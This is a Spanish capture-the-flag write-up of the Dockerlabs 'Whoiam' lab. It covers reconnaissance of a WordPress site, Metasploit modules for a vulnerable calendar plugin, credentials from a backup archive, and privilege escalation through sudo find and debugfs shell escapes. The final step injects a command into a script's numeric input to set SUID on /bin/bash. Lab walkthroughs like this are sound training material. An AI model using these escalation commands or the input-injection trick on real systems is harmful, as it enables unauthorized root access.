🪞Whoiam (Easy) - Dockerlabs
Whoiam
Reconocimiento
Nmap
En primer lugar llevo a cabo un escaneo de puertos con el objetivo de identificar los servicios activos y los puertos en los que están corriendo.
❯ nmap -p 0-65535 --open -T5 -A -sT -Pn -n 172.19.0.2 -oX nmapScan.xml && xsltproc nmapScan.xml -o nmapScan.html && open nmapScan.html &>/dev/null & disown

Se trata de un servidor HTTP sirviendo una página hecha en WordPress 6.5.4, al visitarla, me encuentro con esto

No hay nada más a parte de eso y el botón no lleva ningún enlace, así que lo siguiente va a ser hacer fuzzing y utilizar whatweb
para recavar más información y encontrar un punto de entrada. El fuzzing revela básicamente los archivos típicos de un sitio de wordpress, nada fuera de lo usual, y whatweb
tampoco saca nada especialmente interesante que no tuviera ya gracias al escaneo de puertos. Lo lógico ahora es usar wpscan
para obtener más información sobre la web
❯ wpscan --url http://172.19.0.2/ -e u, vp, vt --api-token 0000000000000000000000000000
El escaneo revela varias vulnerabilidades que no estoy seguro de que vayan a serme útiles y dos usernames: erik
y developer
. Voy a probar a hacer ataques de diccionario a ambos usuarios usando la misma herramienta, a ver si dan resultado. Cuando veo que no funciona el ataque me doy cuenta de que no he enumerado bien con wpscan
, lanzo el comando de nuevo corregido.
❯ wpscan --url http://172.19.0.2/ -e p --api-token 0000000000000000000000000000
El escaneo bien configurado revela un plugin con un más que amplio historial de vulnerabilidades que puedo explotar. Hago uso de searchsploit
y después de Metasploit para utilizar el exploit en la página.
❯ searchsploit modern events calendar lite
---------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------- ---------------------------------
Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated) | php/webapps/50084.py
Wordpress Plugin Modern Events Calendar 5.16.2 - Remote Code Execution (Authenticated) | php/webapps/50082.py
WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated) | php/webapps/50687.py
❯ msfdb run
msf6 > search modern calendar
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/wp_modern_events_calendar_sqli 2021-12-13 normal Yes WordPress Modern Events Calendar SQLi Scanner
1 exploit/multi/http/wp_plugin_modern_events_calendar_rce 2021-01-29 excellent Yes Wordpress Plugin Modern Events Calendar - Authenticated Remote Code Execution
msf6 > use 1
En este caso voy a usar el exploit de index 0, así que lanzo use 0
y después options
para configurar los parámetros del exploit. Después de probar ambos exploit veo que ninguno funciona, el 0 se queda atascado y el 1 requiere la contraseña del administrador (quizá sea útil más adelante). Voy a lanzar un fuzzing de nuevo por si me hubiera dejado algo interesante. Encuentro una ruta que había pasado por alto pero que tiene un archivo muy interesante, se trata de /backup
, al visitarla esto es lo que hay

Explotación
Bajo el archivo, lo descomprimo y un cat revela que el contenido son las credenciales de developer y su password.

Se me ocurre que se podría probar de nuevo el exploit que requería contraseña, ya que ahora sí la tengo.

Me estaba dando problemas entrar como developer
así que creé un usuario y conseguí entrar.
Post-explotación
Al entrar como www-data
y hacer sudo -l
, veo que puedo ejecutar find
como el usuario rafa
, y pivoto fácilmente con
sudo -u rafa find . -exev /bin/sh \;quit

Ya autenticado como rafa, al hacer sudo -l
de nuevo veo que es posible pivotar a ruben
haciendo uso del binario debugfs
.
sudo -u ruben debugfs
!/bin/bash

Una vez estoy dentro como ruben, al hacer sudo -l
veo que puedo ejecutar bash en un script alojado en /opt
, al hacerle un cat vep su contenido:
cat penguin.sh
#!/bin/bash
read -rp "Enter guess: " num
if [[ $num -eq 42 ]]
then
echo "Correct"
else
echo "Wrong"
fi
El código da como valor correcto el input 42
, entonces, con la siguiente línea se "engaña" al código para añadir el bit SUID al binario bash, permitiendo que si cualquier usuario lo ejecuta con el parámetro -p
herede los permisos del dueño, es decir, root
.
sum[$(chmod u+s /bin/bash >&2)]+42

Last updated